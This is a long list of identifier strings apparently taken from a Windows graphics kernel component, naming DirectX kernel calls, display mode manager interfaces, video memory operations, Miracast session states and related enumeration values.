DxgkSetIndependentFlipMode DxgkConfirmToken DxgkNotifyProcessThawCallout DxgkSetPresenterViewMode DxgkReserveGpuVirtualAddress DxgkFreeGpuVirtualAddress DxgkMapGpuVirtualAddress DxgkCreateContextVirtual DxgkSubmitCommand DxgkLock2 DxgkUnlock2 DxgkDestroyAllocation2 DxgkUpdateGpuVirtualAddress DxgkCheckMultiPlaneOverlaySupport2 DxgkCreateSwapChain DxgkOpenSwapChain DxgkDestroySwapChain DxgkAcquireSwapChain DxgkReleaseSwapChain DxgkAbandonSwapChain DxgkSetDodIndirectSwapchain DxgkMakeResident DxgkEvict DxgkCreatePagingQueue DxgkDestroyPagingQueue DxgkQueryVideoMemoryInfo DxgkChangeVideoMemoryReservation DxgkGetSwapChainMetadata DxgkInvalidateCache DxgkGetResourcePresentPrivateDriverData DxgkSetStablePowerState DxgkQueryClockCalibration DxgkAdjustFullscreenGamma DxgkSetVidPnSoureHwProtection DxgkMarkDeviceAsError DxgkUpdateAllocationProperty DxgkSetFSEBlock DxgkQueryFSEBlock DxgkVmBusCreateChannel DxgkVmBusSendSyncMessage DxgkVmBusProcessMessage DxgkGetAllocationPriority DxgkSetYieldPercentage DxgkSetProcessSchedulingPriorityBand DxgkSetMemoryBudgetTarget DxgkGetYieldPercentage DxgkGetProcessSchedulingPriorityBand DxgkGetMemoryBudgetTarget DxgkCreateProtectedSession DxgkDestroyProtectedSession DxgkQueryProtectedSessionStatus DxgkQueryProtectedSessionInfoFromNtHandle DxgkOpenProtectedSessionFromNtHandle DxgkCreateHwQueue DxgkDestroyHwQueue DxgkSetProcessDeviceRemovalSupport DxgkGetProcessDeviceRemovalSupport DxgkCreateBundleObject DxgkExtractBundleObject DxgkOpenKeyedMutexFromNtHandle DxgkSubmitCommandToHwQueue DxgkSubmitSignalSyncObjectsToHwQueue DxgkSubmitWaitForSyncObjectsToHwQueue DxgkPresentMultiPlaneOverlay2 DxgkPresentMultiPlaneOverlay3 DxgkInvalidateMonitorConnections DxgkGetMonitorDeviceObject DxgkPersistPathsModality DxgkFunctionalizePathsModality DxgkFinalizePathsModality DxgkEnumerateModesForPathsModality DxgkUpdateGdiInfo DxgkCompleteTopologyTransition DxgkGetDisplayConfigBufferSizes DxgkQueryDisplayConfig DxgkConvertPathsModalityToDisplayConfig DxgkConvertDisplayConfigToDevMode DxgkHandleForceProjectionMonitor DxgkIsPortraitFirstTarget DxgkDesktopSwitch DxgkIsVidPnSourceOwnerExclusive DxgkDisplayOnOff DxgkDisplayConfigDeviceInfo DxgkGetAdapterDeviceDesc DxgkGetMonitorInternalInfo DxgkBeginTopologyTransition DxgkFlushPresentHistory DxgkSignalSynchronizationObjectFromGpu DxgkSignalSynchronizationObjectFromGpu2 DxgkGetDWMVerticalBlankEvent DxgkGetDpiOverrideForSource DxgkProcessLockScreen DxgkStatusChangeNotify DxgkSessionConnected DxgkPreSessionDisconnected DxgkSessionDisconnected DxgkSessionReconnected DxgkAddSurfaceToSwapChain DxgkRemoveSurfaceFromSwapChain DxgkUnOrderedPresentSwapChain NtDxgkGetProcessList DxgkOpenSyncObjectNtHandleFromName DxgkOpenBundleObjectNtHandleFromName DxgkCreateTrackedWorkload DxgkDestroyTrackedWorkload DxgkRegisterVailProcess DxgkVailPromoteCompositionSurface DxgkVailConnect DxgkVailDisonnect DxgkVmBusSendAsyncMessage DxgkVmBusSendAsyncPacket DxgkGetSwapChainSurfacePhysicalAddress DxgkCddCreate DxgkCddDestroy DxgkCddEnable DxgkCddDisable DxgkCddGetDisplayModeList DxgkCddGetDriverCaps DxgkCddLock DxgkCddUnlock DxgkCddPresent DxgkCddSetGammaRamp DxgkCddSetPalette DxgkCddSetPointerPosition DxgkCddSetPointerShape DxgkCddTerminateThread DxgkCddSetOrigin DxgkCddWaitForVerticalBlankEvent DxgkCddSyncGPUAccess DxgkCddCreateAllocation DxgkCddDestroyAllocation DxgkCddBltToPrimary DxgkCddGdiCommand DxgkCddDrvBitBlt DxgkCddDrvColorFill DxgkCddDrvStrokePath DxgkCddDrvAlphaBlend DxgkCddDrvLineTo DxgkCddDrvFillPath DxgkCddDrvStrokeAndFillPath DxgkCddDrvStretchBltROP DxgkCddDrvPlgBlt DxgkCddDrvStretchBlt DxgkCddDrvTextOut DxgkCddDrvGradientFill DxgkCddDrvTransparentBlt DxgkCddOpenResource DxgkCddQueryResourceInfo DxgkCddSubmitPresentHistory DxgkCddCreateDeviceBitmap DxgkCddUpdateGdiMem DxgkCddAddCommand DxgkCddEnableLite DxgkCddAssertModeInternal DxgkCddSetLiteModeChange DxgkCddPresentDisplayOnly DxgkCddSignalGdiContext DxgkCddWaitGdiContext DxgkCddSignalDxContext DxgkCddWaitDxContext DxgkCddStartDxInterop DxgkCddEndDxInterop DxgkCddAddD3DDirtyRect DxgkCddDxGdiInteropFailed DxgkCddSyncDxAccess DxgkCddFlushCpuCache DxgkCddLockMdlPages DxgkCddOpenResourceFromNtHandle DxgkCddQueryResourceInfoFromNtHandle DxgkCddUnlockMdlPages DxgkCddTrimStagingSize DxgkCddReuseDeviceBitmapEx DpiDxgkDdiAddDevice DpiDxgkDdiStartDevice DpiDxgkDdiStopDevice DpiDxgkDdiRemoveDevice DpiDxgkDdiDispatchIoRequest DpiDxgkDdiQueryChildRelations DpiDxgkDdiQueryChildStatus DpiDxgkDdiQueryDeviceDescriptor DpiDxgkDdiSetPowerState DpiDxgkDdiNotifyAcpiEvent DpiDxgkDdiUnload DpiDxgkDdiControlEtwLogging DpiDxgkDdiQueryInterface DpiDpcForIsr DpiFdoMessageInterruptRoutine VidSchDdiNotifyInterrupt VidSchiCallNotifyInterruptAtISR DpiDxgkDdiStopDeviceAndReleasePostDisplayOwnership DpiDxgkDdiGetChildContainerId DpiDxgkDdiNotifySurpriseRemoval DpiFdoThermalActiveCooling DpiFdoThermalPassiveCooling DxgkCbIndicateChildStatus DpiPNPPowerRelated DpiDxgkDdiSaveMemoryForHotUpdate DpiDxgkDdiRestoreMemoryForHotUpdate DpiDxgkDdiWaitWakeArming DpiDxgkDdiWaitWakeDisarming DpiDxgkDdiI2CTransactionData DdiI2CIoctl DdiQueryAdapterInfo DdiCreateDevice DdiCreateAllocation DdiDescribeAllocation DdiGetStandardAllocationDriverData DdiDestroyAllocation DdiAcquireSwizzlingRange DdiReleaseSwizzlingRange DdiPatch DdiCommitVidPn DdiSetVidPnSourceAddress DdiSetVidPnSourceVisibility DdiUpdateActiveVidPnPresentPath DdiSubmitCommand DdiPreemptCommand DdiQueryCurrentFence DdiBuildPagingBuffer DdiSetPalette DdiSetPointerShape DdiSetPointerPosition DdiResetFromTimeout DdiRestartFromTimeout DdiEscape DdiCollectDbgInfo DdiRecommendFunctionalVidPn DdiIsSupportedVidPn DdiEnumVidPnCofuncModality DdiDestroyDevice DdiOpenAllocation DdiCloseAllocation DdiRender DdiPresent DdiCreateOverlay DdiUpdateOverlay DdiFlipOverlay DdiDestroyOverlay DdiGetScanLine DdiRecommendMonitorModes DdiControlInterrupt DdiStopCapture DdiRecommendVidPnTopology DdiCreateContext DdiDestroyContext DdiNotifyDpc DdiSetDisplayPrivateDriverFormat DdiRenderKm DdiAddTargetMode DdiQueryVidPnHWCapability DdiPresentDisplayOnly DdiQueryDependentEngineGroup DdiQueryEngineStatus DdiResetEngine DdiCancelCommand DdiGetNodeMetadata DdiControlInterrupt2 DdiCheckMultiPlaneOverlaySupport DdiCalibrateGpuClock DdiFormatHistoryBuffer DdiGetRootPageTableSize DdiSetRootPageTable DdiMapCpuHostAperture DdiUnmapCpuHostAperture DdiSubmitCommandVirtual DdiCreateProcess DdiDestroyProcess DdiRenderGdi DdiCheckMultiPlaneOverlaySupport2 DdiSetStablePowerState DdiSetVideoProtectedRegion DdiCheckMultiPlaneOverlaySupport3 DdiControlModeBehavior DdiUpdateMonitorLinkInfo DdiValidateUpdateAllocationProperty DdiCreatePeriodicFrameNotification DdiDestroyPeriodicFrameNotification DdiSetTimingsFromVidPn DdiSetTargetGamma DdiSetTargetContentType DdiSetTargetAnalogCopyProtection DdiSetTargetAdjustedColorimetry DdiDisplayDetectControl DdiQueryConnectionChange DdiExchangePreStartInfo DdiGetMultiPlaneOverlayCaps DdiGetPostCompositionCaps DdiReadVirtualFunctionConfig DdiWriteVirtualFunctionConfig DdiWriteVirtualFunctionConfigBlock DdiReadVirtualFunctionConfigBlock DdiQueryProbedBars DdiGetVendorAndDevice DdiGetDeviceLocation DdiResetVirtualFunction DdiSetVirtualFunctionPowerState DdiGetResourceForBar DdiQueryVirtualFunctionLuid DdiGetGpuPartitionInfo DdiGetVirtualGpuProfile DdiSetGpuPartitionCount DdiCreateVirtualGpu DdiSetVirtualGpuResources DdiDestroyVirtualGpu DdiGetVirtualGpuInfo DdiSetVirtualGpuVmBus DdiVirtualGpuDriverEscape DdiQueryMitigatedRangeCount DdiQueryMitigatedRanges DdiCreateProtectedSession DdiDestroyProtectedSession DdiCreateHwQueue DdiDestroyHwQueue DdiSubmitCommandToHwQueue DdiSetVirtualMachineData DdiSetSchedulingLogBuffer DdiSetupPriorityBands DdiNotifyFocusPresent DdiSetContextSchedulingProperties DdiSuspendContext DdiResumeContext DdiSetVidPnSourceAddressWithMultiPlaneOverlay DdiSetVidPnSourceAddressWithMultiPlaneOverlay2 DdiSetVidPnSourceAddressWithMultiPlaneOverlay3 DdiPostMultiPlaneOverlayPresent DdiSetPowerComponentFState DdiSetPowerPState DdiPowerRuntimeControlRequest DdiPowerRuntimeSetDeviceHandle DdiQueryDiagnosticTypesSupport DdiControlDiagnosticReporting DdiResetHwEngine DdiResumeHwEngine DdiSignalMonitoredFence DdiPresentToHwQueue DdiValidateSubmitCommand DdiGetBackingResource DdiGetMmioRangeCount DdiGetMmioRanges DdiSetTrackedWorkloadPowerLevel DdiControlInterrupt3 DdiSetFlipQueueLogBuffer DdiSetInterruptTargetPresentId DdiCancelQueuedFlips DdiCancelFlips DdiUpdateFlipQueueLog DdiDisplayMuxGetRuntimeStatus DdiDisplayMuxUpdateState DdiDisplayMuxReportPresence DdiDisplayMuxGetDriverSupportLevel DdiDisplayMuxPreSwitchAway DdiDisplayMuxPreSwitchAwayGetPrivateData DdiDisplayMuxPreSwitchTo DdiDisplayMuxSwitchCanceled DdiDisplayMuxPostSwitchAway DdiDisplayMuxPostSwitchToPhase1 DdiDisplayMuxPostSwitchToPhase2 DdiDisplayMuxSetInternalPanelInfo DdiNotifyContextPriorityChange DdiResetDisplayEngine DmmInterfaceAcquiredPreferredMonitorSourceMode DmmInterfaceReleaseMonitorSourceMode DmmInterfaceGetNumSourceModes DmmInterfaceAcquireFirstSourceMode DmmInterfaceAcquireNextSourceMode DmmInterfaceAcquirePinnedSourceMode DmmInterfaceReleaseSourceMode DmmInterfacePinSourceMode DmmInterfaceUnpinSourceMode DmmInterfaceGetNumTargetModes DmmInterfaceAcquireFirstTargetMode DmmInterfaceAcquireNextTargetMode DmmInterfaceAcquriePinnedTargetMode DmmInterfaceReleaseTargetMode DmmInterfaceCompareTargetMode DmmInterfacePinTargetMode DmmInterfaceUnpinTargetMode DmmInterfaceIsTargetModeSupportedByMonitor DmmInterfaceGetNumPathsFromSource DmmInterfaceEnumPathTargetsFromSource DmmInterfaceGetPathSourceFromTarget DmmInterfaceAcquirePath DmmInterfaceReleasePath DmmInterfaceAddPath DmmInterfaceRemovePath DmmInterfaceRemoveAllPaths DmmInterfacePinScaling DmmInterfaceUnpinScaling DmmInterfacePinRotation DmmInterfaceUnpinRotation DmmInterfaceRecommendVidPnTopology DmmInterfaceFindFirstAvailableTarget DmmInterfaceRestoreFromLkgForSource DmmInterfaceGetTopology DmmInterfaceAcquireSourceModeSet DmmInterfaceReleaseSourceModeSet DmmInterfaceAcquireTargetModeSet DmmInterfaceReleaseTargetModeSet DmmInterfaceAcquireMonitorSourceModeSet DmmInterfaceReleaseMonitorSourceModeSet DmmInterfaceGetNumSources DmmInterfaceAcquireFirstSource DmmInterfaceAcquireNextSource DmmInterfaceReleaseSource DmmInterfaceGetNumTargets DmmInterfaceAcquireFirstTarget DmmInterfaceAcquireNextTarget DmmInterfaceReleaseTarget DmmInterfaceAcquireSourceSet DmmInterfaceReleaseSourceSet DmmInterfaceAcquireTargetSet DmmInterfaceReleaseTargetSet DmmInterfaceCreateVidPn DmmInterfaceCreateVidPnFromActive DmmInterfaceCreateVidPnCopy DmmInterfaceReleaseVidPn DmmInterfaceIsUsingDefaultMonitorProfile DmmInterfaceIsMonitorConnected DmmInterfaceRemoveCopyProtection DmmInterfaceGetPathImportance DmmInterfaceGetNumPaths DmmInterfaceEnumPaths DmmMiniportInterfaceGetNumSourceModes DmmMiniportInterfaceAcquireFirstSourceMode DmmMiniportInterfaceAcquireNextSourceMode DmmMiniportInterfaceAcquirePinnedSourceMode DmmMiniportInterfaceReleaseSourceMode DmmMiniportInterfaceCreateNewSourceMode DmmMiniportInterfaceAddSourceMode DmmMiniportInterfacePinSourceMode DmmMiniportInterfaceGetNumTargetModes DmmMiniportInterfaceAcquireFirstTargetMode DmmMiniportInterfaceAcquireNextTargetMode DmmMiniportInterfaceAcquirePinnedTargetMode DmmMiniportInterfaceReleaseTargetMode DmmMiniportInterfaceCreateNewTargetMode DmmMiniportInterfaceAddTargetMode DmmMiniportInterfacePinTargetMode DmmMiniportInterfaceGetNumMonitorSourceModes DmmMiniportInterfaceAcquirePreferredMonitorSourceMode DmmMiniportInterfaceAcquireFirstMonitorSourceMode DmmMiniportInterfaceAcquireNextMonitorSourceMode DmmMiniportInterfaceCreateNewMonitorSourceMode DmmMiniportInterfaceAddMonitorSourceMode DmmMiniportInterfaceReleaseMonitorSourceMode DmmMiniportInterfaceGetNumMonitorFrequencyRanges DmmMiniportInterfaceAcquireFirstMonitorFrequencyRange DmmMiniportInterfaceAcquireNextMonitorFrequencyRange DmmMiniportInterfaceReleaseMonitorFrequencyRange DmmMiniportInterfaceGetNumMonitorDescriptors DmmMiniportInterfaceAcquireFirstMonitorDescriptor DmmMiniportInterfaceAcquireNextMonitorDescriptor DmmMiniportInterfaceReleaseMonitorDescriptor DmmMiniportInterfaceGetNumPaths DmmMiniportInterfaceGetNumPathsFromSource DmmMiniportInterfaceEnumPathTargetsFromSource DmmMiniportInterfaceGetPathSourceFromTarget DmmMiniportInterfaceAcquirePath DmmMiniportInterfaceAcquireFirstPath DmmMiniportInterfaceAcquireNextPath DmmMiniportInterfaceUpdatePathSupport DmmMiniportInterfaceReleasePath DmmMiniportInterfaceCreateNewPath DmmMiniportInterfaceAddPath DmmMiniportInterfaceGetTopology DmmMiniportInterfaceAcquireSourceModeSet DmmMiniportInterfaceReleaseSourceModeSet DmmMiniportInterfaceCreateNewSourceModeSet DmmMiniportInterfaceAssignSourceModeSet DmmMiniportInterfaceAssignMultisamplingSet DmmMiniportInterfaceAcquireTargetModeSet DmmMiniportInterfaceReleaseTargetModeSet DmmMiniportInterfaceCreateNewTargetModeSet DmmMiniportInterfaceAssignTargetModeSet DmmMiniportInterfaceAcquireMonitorSourceModeSet DmmMiniportInterfaceReleaseMonitorSourceModeSet DmmMiniportInterfaceGetMonitorFrequencyRangeSet DmmMiniportInterfaceGetMonitorDescriptorSet DmmMiniportInterfaceQueryVidPnInterface DmmMiniportInterfaceQueryMonitorInterface DmmMiniportInterfaceRemovePath DmmMiniportInterfaceGetAdditionalMonitorModesSet DmmMiniportInterfaceReleaseAdditionalMonitorModesSet DmmMiniportInterfaceGetGetMonitorDescriptors ProbeAndLockPages UnlockPages MapViewOfAllocation UnmapViewOfAllocation ProcessHeapAllocate ProcessHeapRotate BootInt10ModeChange ResumeInt10ModeChange FlushAllocationCache NotifyVSync MakeProcessIdleToFlushTlb UpdateGpuVirtualAddressSystemCommand GdiRenderDuringCS WakeUpAdapter CsExitInitiated BlockListProcessing HoldAdapterLockThread PowerStateD3Transition VirtualCopyExclusiveAccess BLTQUEUE::Present DxgkDdiMiracastQueryCaps DxgkDdiMiracastCreateContext DxgkDdiMiracastIoControl DxgkDdiMiracastDestroyContext DxgkCbSendUserModeMessage MiracastUmdDriverCreateMiracastContext MiracastUmdDriverDestroyMiracastContext MiracastUmdDriverStartMiracastSession MiracastUmdDriverStopMiracastSession MiracastUmdDriverHandleKernelModeMessage MiracastUmdDriverCbReportSessionStatus MiracastUmdDriverCbMiracastIoControl MiracastUmdDriverCbReportStatistic MiracastUmdDriverCbGetNextChunkData MiracastUmdDriverCbRegisterForDataRateNotifications ProcessOperations RecalculateBudgets DxgkCbSetProtectedSessionStatus DxgkSharedAllocationObDeleteProcedure DxgkSharedKeyedMutexObjectObDeleteProcedure DxgkSharedSyncObjectObDeleteProcedure DxgkSharedProtectedSessionObDeleteProcedure DxgkSharedBundleObjectObDeleteProcedure VailSendCreateBundleObject VailSendCreateBundleObjectByPointer VailSendDestroyBundleObject VailSendCreateCompositionSurface VailSendReleaseCompositionSurfaceReference VailSendBindCompositionSurface VailSendUnbindCompositionSurface VailSendEnqueueFlipExToken VailSendQueryStats VailSendCompositionObjectTestCommand VailSendRemoteObjectTestCommand DMM_CT_UNINITIALIZED DMM_CT_CDD_NOPATHDATA DMM_CT_USERMODE DMM_CT_CDD_PATHDATA DMM_CT_DXGPORT DMM_CVR_UNINITIALIZED DMM_CVR_UPDATEMODALITY DMM_CVR_ADDPATH DMM_CVR_ADDPATHS DMM_CVR_REMOVEPATH DMM_CVR_REMOVEALLPATHS VidMmOfferPriorityLow VidMmOfferPriorityNormal VidMmOfferPriorityHigh VidMmOfferPriorityMaximum VIDMM_NOT_OFFERED VIDMM_OFFER_PENDING VIDMM_OFFERED VIDMM_DISCARDED StatusConnection StatusRotation StatusMiracastConnection DXGK_DIAG_OUTPUTDUPL_DESTROY_REASON_APP_REQUEST DXGK_DIAG_OUTPUTDUPL_DESTROY_REASON_VIDPN_OWNER_LOST DXGK_DIAG_OUTPUTDUPL_DESTROY_REASON_ADAPTER_RESET DXGK_DIAG_OUTPUTDUPL_DESTROY_REASON_PROCESS_DESTROYED DXGK_DIAG_OUTPUTDUPL_DESTROY_REASON_DESKTOP_SWITCH DXGK_DIAG_OUTPUTDUPL_DESTROY_REASON_DEVICE_DESTROYED DXGK_DIAG_OUTPUTDUPL_DESTROY_REASON_DESTROY_PENDING DXGK_DIAG_OUTPUTDUPL_DESTROY_REASON_PRESENT_FAILURE D3DKMT_OUTPUTDUPL_METADATATYPE_DIRTY_RECTS D3DKMT_OUTPUTDUPL_METADATATYPE_MOVE_RECTS VIDMM_PROCESS_HEAP_MAPPING_WRITECOMBINED VIDMM_PROCESS_HEAP_MAPPING_CACHED VIDMM_PROCESS_HEAP_MAPPING_SECTION VIDMM_PROCESS_HEAP_MAPPING_SECTION_CACHED DXGK_ENGINE_TYPE_OTHER DXGK_ENGINE_TYPE_3D DXGK_ENGINE_TYPE_VIDEO_DECODE DXGK_ENGINE_TYPE_VIDEO_ENCODE DXGK_ENGINE_TYPE_VIDEO_PROCESSING DXGK_ENGINE_TYPE_SCENE_ASSEMBLY DXGK_ENGINE_TYPE_COPY DXGK_ENGINE_TYPE_OVERLAY Opaque AlphaBlend OverlayScenarioOther OverlayScenarioBasicGame OverlayScenarioHeadsUpDisplay OverlayScenarioYUV MultiPlaneOverlayStretchQualityBilinear MultiPlaneOverlayStretchQualityHigh None HDR10 HDR10Plus DXGK_FEATURE_HWSCH DXGK_FEATURE_HWFLIPQUEUE DXGK_FEATURE_LDA_GPUPV DXGK_FEATURE_KMD_SIGNAL_CPU_EVENT DXGK_FEATURE_USER_MODE_SUBMISSION DXGK_FEATURE_SHARE_BACKING_STORE_WITH_KMD Idle Running Ready ReadyStandby DISPLAYCONFIG_BUSTYPE_UNDEFINED DISPLAYCONFIG_BUSTYPE_PCI DISPLAYCONFIG_BUSTYPE_ACPI DISPLAYCONFIG_BUSTYPE_ROOT DISPLAYCONFIG_BUSTYPE_VMBUS DISPLAYCONFIG_BUSTYPE_LOGICALGPU DISPLAYCONFIG_BUSTYPE_FORCE_UINT32 DevicePoweredOn SuspendRequestSent SuspendingAdapter SuspendedForD3 IrpRequestSentD3 DevicePoweredOff IrpRequestSentD0 ResumeRequestSent YieldStartDeferred NoYieldAfterFirstPresent HighPriorityPresentIntervalTooSmall NoReadyNodesToYieldTo NoReadyLowPriorityContextsOnNode LowPriorityContextRanInTheLastPresentInterval NodeIsStillYieldingFromPreviousInterval D3DKMT_CANCEL_PRESENTS_OPERATION_CANCEL_FROM D3DKMT_CANCEL_PRESENTS_OPERATION_REPROGRAM_INTERRUPT D3DDDI_COLOR_SPACE_RGB_FULL_G22_NONE_P709 D3DDDI_COLOR_SPACE_RGB_FULL_G10_NONE_P709 D3DDDI_COLOR_SPACE_RGB_STUDIO_G22_NONE_P709 D3DDDI_COLOR_SPACE_RGB_STUDIO_G22_NONE_P2020 D3DDDI_COLOR_SPACE_RESERVED D3DDDI_COLOR_SPACE_YCBCR_FULL_G22_NONE_P709_X601 D3DDDI_COLOR_SPACE_YCBCR_STUDIO_G22_LEFT_P601 D3DDDI_COLOR_SPACE_YCBCR_FULL_G22_LEFT_P601 D3DDDI_COLOR_SPACE_YCBCR_STUDIO_G22_LEFT_P709 D3DDDI_COLOR_SPACE_YCBCR_FULL_G22_LEFT_P709 D3DDDI_COLOR_SPACE_YCBCR_STUDIO_G22_LEFT_P2020 D3DDDI_COLOR_SPACE_YCBCR_FULL_G22_LEFT_P2020 D3DDDI_COLOR_SPACE_RGB_FULL_G2084_NONE_P2020 D3DDDI_COLOR_SPACE_YCBCR_STUDIO_G2084_LEFT_P2020 FlipWaitVSync FlipWaitComplete FlipWaitPassive FlipWaitPost FlipWaitHSync KmdDriverCreateContext KmdHandleStartSessionDone UmdEnterHandleStartMiracastSession UmdAcquiredMiracastContextLock UmdLoadUmdDriverDLL UmdQueryUmdDriverInterface UmdDriverCreateContext UmdFailedOpenMiracastSession UmdOpenMiracastSession UmdCreateRTSPListenSocket UmdWaitForRTSPConnection UmdFailedToReceiveRTSPConnection UmdDriverStartMiracastSession UmdLeaveHandleStartMiracastSession UmdCreateRTSPConnectSocket UmdFailedToMakeRTSPConnection StopMiracastSessionReasonUnknown StopMiracastSessionReasonCriticalError StopMiracastSessionReasonMissingPackage StopMiracastSessionReasonSinkDisconnect StopMiracastSessionReasonInsufficientBandwidth StopMiracastSessionReasonFailedStandardModeChange StopMiracastSessionReasonL2Disconnected StopMiracastSessionReasonPowerDownMiracastDevice StopMiracastSessionReasonUserRequest StopMiracastSessionReasonSessionSwitch StopMiracastSessionReasonStopGraphicsDevice StopMiracastSessionReasonPowerDownGraphicsDevice StopMiracastSessionReasonStopMiracastDevice StopMiracastSessionReasonRemoveMiracastDevice StopMiracastSessionReasonISRInvalidData StopMiracastSessionReasonNoActivePaths StopMiracastSessionReasonEnteringConnectedStandby StopMiracastSessionReasonConnectedStandbyBackup KmdHandleStopSessionDone KmdDriverDestroyContext UmdEnterHandleStopMiracastSession UmdAcquiredMiracastContextLock UmdDriverStopMiracastSession UmdDriverDestroyContext UmdUnloadDriverDLL UmdCloseMiracastSession UmdLeaveHandleStopMiracastSession MiracastStopped MiracastStartPending MiracastStarted MiracastStopPending MIRACAST_STATUS_CRITICAL_ERROR MIRACAST_STATUS_MISSING_KEEPALIVE MIRACAST_STATUS_SINK_DISOCNNECT_REQUEST MIRACAST_STATUS_INSUFFICIENT_BANDWIDTH MIRACAST_STATUS_SINK_FAILED_STANDARD_MODE_CHANGE MIRACAST_CHUNK_TYPE_UNKNOWN MIRACAST_CHUNK_TYPE_COLOR_CONVERT_COMPLETE MIRACAST_CHUNK_TYPE_ENCODE_COMPLETE MIRACAST_CHUNK_TYPE_FRAME_START MIRACAST_CHUNK_TYPE_FRAME_DROPPED MIRACAST_CHUNK_TYPE_ENCODE_DRIVER_DEFINED_1 MIRACAST_CHUNK_TYPE_ENCODE_DRIVER_DEFINED_2 MIRACAST_PROTOCOL_EVENT_IFRAME_RQ MIRACAST_PROTOCOL_EVENT_MONITOR_ARRIVE MIRACAST_PROTOCOL_EVENT_MONITOR_DEPART MIRACAST_PROTOCOL_EVENT_SINK_FAILED_PREFERRED_MODE_CHANGE MIRACAST_CHUNK_REPORT_ERROR_OUT_OF_ORDER MIRACAST_CHUNK_REPORT_ERROR_MULTIPLE_START_FRAME MIRACAST_CHUNK_REPORT_ERROR_NO_SEND MIRACAST_CHUNK_REPORT_ERROR_ENCODE_BEFORE_START MIRACAST_CHUNK_REPORT_ERROR_SEND_BEFORE_START MIRACAST_CHUNK_REPORT_ERROR_SEND_LESS_THAN_ENCODE MIRACAST_CHUNK_REPORT_ERROR_SEND_MORE_THAN_ENCODE Miracast user mode driver is probably frozen in CreateMiracastContext DDI call. Miracast user mode driver is probably frozen in StartMiracastSession DDI call. Miracast user mode driver is probably frozen in StopMiracastSession DDI call. Miracast user mode driver is probably frozen in DestroyDriverContext DDI call. DxgkBacklightOptimizationDisable DxgkBacklightOptimizationDesktop DxgkBacklightOptimizationDynamic DxgkBacklightOptimizationDimmed VidMmVadOwnerInvalid VidMmVadOwnerAlloc VidMmVadOwnerFenceStoragePage VidMmVadOwnerGlobalAlloc VidMmVadOwnerDmaBuffer VidMmVadOwnerPageTable VidMmVadOwnerReservedZero Invalid Texture StagingCpuVisible Staging LookupTable ExistingSysMem TextureCpuVisible CrossAdapter CpuVisibleCrossAdapter VidMmOpNone VidMmOpRestoreSegments VidMmOpPurgeSegments VidMmOpCleanupPrimary VidMmOpAllocatePagingBufferResources VidMmOpFreePagingBufferResources VidMmOpReportVidMmState VidMmOpRunApertureCoherencyTest VidMmOpRunUnmapToDummyPageTest VidMmOpDeferredCommand VidMmOpSuspendMemorySegmentAccess VidMmOpResumeMemorySegmentAccess VidMmOpEvictAndFlush VidMmOpCommitVirtualAddressRange VidMmOpUncommitVirtualAddressRange VidMmOpDestroyVirtualAddressAllocator VidMmOpPageInDevice VidMmOpMapContextAllocation VidMmOpInitPagingProcessVaSpace VidMmOpUpdateGpuVirtualAddress VidMmOpFreeGpuVirtualAddress VidMmOpUncommitAllocGpuVa VidMmOpFreeVpr VidMmOpSuspendResumeDevice VidMmOpTrimOfferCommitment VidMmOpMoveResources VidMmOpInvalidateAllVirtualAddresses VidMmOpFreeVPRReserve VidMmOpOfferCHARange VidMmOpEnableIoMmuIsolation VidMmOpDisableIoMmuIsolation VidMmOpValidateIntegrity VidMmOpTransferTransportBuffer VidMmOpCloseAllocation VidMmOpComplexLock VidMmOpPinAllocation VidMmOpFlushPendingGpuAccess VidMmOpUnpinAllocation VidMmOpMakeResident VidMmOpEvict VidMmOpLockInAperture VidMmOpInitContextAllocation VidMmOpReclaimAllocation VidMmOpDiscardAllocation VidMmOpSetAllocationPriority VidMmOpEvictionTest VidMmOpUpdateAllocationProperty VidMmOpDecommitAllocation VidMmOpUnblockMemoryRanges VidMmOpDelayExecution VidMmOpForceUncommitVirtualAddress VidMmOpEvictSystemMemoryOfferList VidMmOpProcessPendingOfferList VidMmOpDefragment VidMmOpProcessSegmentOfferLists VidMmOpEvictPromotionCandidate Default Evict Lazy Uncommitted Known Committed / Unlocked Known Committed / Known Locked Known Committed / Unknown Locked Unknown Committed / Unknown Locked Unknown Committed / Unlocked VIDMM_BUDGET_PRIORITY_BAND_DWM VIDMM_BUDGET_PRIORITY_BAND_FOCUS VIDMM_BUDGET_PRIORITY_BAND_NORMAL None HighPriority Yielded Standard SignalVSyncEvent UpdatePresentStats QueryPresentStatsDWM QueryPresentStats UpdateVsyncCount Work Render Vsync VSyncTdr PeriodicTimer Alert Invlaid Local NonLocal NonBudget Minimum Normal High Maximum Minimized Occluded Visible NONE COPP_COMPATIBLE_HDCP CGMSA HDCP DPCP TYPE_ENFORCEMENT_HDCP OTHER HD15 SVIDEO COMPOSITE_VIDEO COMPONENT_VIDEO HDMI LVDS D_JPN DISPLAYPORT_EXTERNAL DISPLAYPORT_EMBEDDED UDI_EXTERNAL UDI_EMBEDDED MIRACAST TRANSPORT_AGNOSTIC_DIGITAL_MODE_A TRANSPORT_AGNOSTIC_DIGITAL_MODE_B INTERNAL CreateDevice DestroyDevice QueryAdapterInfo DdiQueryAdapterInfo CreateAllocation DestroyAllocation CreateContextVirtual DestroyContext CreateSyncObject CreatePagingQueue DestroyPagingQueue MakeResident Evict Escape OpenAdapter CloseAdapter FreeGpuVirtualAddress MapGpuVirtualAddress ReserveGpuVirtualAddress UpdateGpuVirtualAddress SubmitCommand QueryVideoMemoryInfo WiatForSyncObjectFromCpu Lock2 Unlock2 WaitForSyncObjectFromGpu SignalSyncObject SignalFenceNTSharedByRef GetDeviceState MarkDeviceAsError AdapterStop SetQueuedLimit OpenResource SetContextSchedulingPriority PresentHistoryToken SetRedirectedFlipFenceValue GetInternalAdapterInfo FlushHeapTransitions DdiGetStandardAllocationDriverData CddGdiCommand QueryAllocationResidency FlushDevice FlushAdapter DdiGetNodeMetadata SetIoSpaceRegion SetExistingSysmemStore IsSyncObjectSignaled SignalGuestEvent PropagatePresentHistoryToken SetGuestData DXGK_VGPU_FAILURE_NONE DXGK_VGPU_FAILURE_SECURITY_BLOCK_LIST DXGK_VGPU_FAILURE_NO_MANAGER DXGK_VGPU_FAILURE_NO_DXGPROCESS DXGK_VGPU_FAILURE_NON_SECURE_DRIVER_MODEL DXGK_VGPU_FAILURE_NO_DRIVER_IOMMU_SUPPORT DXGK_VGPU_FAILURE_IOMMU_ENABLE DXGK_VGPU_FAILURE_CREATION DXGK_VGPU_FAILURE_WRONG_PROCESS DXGK_VGPU_FAILURE_VMBUS_VERSION_MISMATCH DXGK_VGPU_FAILURE_GUEST_ALREADY_STARTED DXGK_VGPU_FAILURE_ADAPTER_STOPPED 